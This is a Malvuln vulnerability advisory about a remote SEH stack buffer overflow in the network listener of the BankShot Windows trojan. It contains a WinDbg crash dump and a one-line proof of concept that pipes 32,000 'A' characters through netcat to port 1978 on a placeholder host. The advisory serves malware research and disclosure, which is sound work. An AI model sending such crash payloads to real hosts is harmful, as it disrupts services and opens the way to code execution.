Trojan.Win32 BankShot malware suffers from a buffer overflow vulnerability.
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Trojan.Win32 BankShot
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 1978 and creates a local Windows service running with SYSTEM integrity. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH)
Family: BankShot
Type: PE32
MD5: f2fd6a7b400782bb43499e722fb62cf4
Vuln ID: MVID-2024-0669
ASLR: Not Enabled
DEP: Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 01/30/2024
Memory Dump:
(16bc.cf8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:005> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:005> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for MouseServer.exe
*** ERROR: Module load completed but symbols could not be loaded for MouseServer.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
MouseServer+2a95e
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
EXCEPTION_RECORD: 0624dec4 -- (.exr 0x624dec4)
ExceptionAddress: 0042a95e (MouseServer+0x0002a95e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 06250000
Attempt to write to address 06250000
PROCESS_NAME: MouseServer.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
MouseServer+2a95e
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
FAILED_INSTRUCTION_ADDRESS:
+2a95e
41414141 ?? ???
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0624df14 -- (.cxr 0x624df14)
eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0 edi=06250000
eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0 nv up ei pl nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203
MouseServer+0x2a95e:
0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi]
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 41414141 to 0042a95e
FRAME_ONE_INVALID: 1
STACK_TEXT:
0624e374 0042a95e mouseserver+0x2a95e
0624fbf8 41414141 unknown!printable+0x0
STACK_COMMAND: .cxr 000000000624DF14 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 624e374 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: mouseserver+2a95e
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: MouseServer
IMAGE_NAME: MouseServer.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 58eb1b3a
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e
0:005> !exchain
0624ddd4: ntdll!ExecuteHandler2+44 (77309d70)
0624fbe4: 41414141
Invalid exception stack at 41414141
Exploit/PoC:
C:UsersggDesktop>python -c "print('A'*32000)" | nc64.exe x.x.x.x 1978
system windows 6.2
version 1.7.4.0
serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).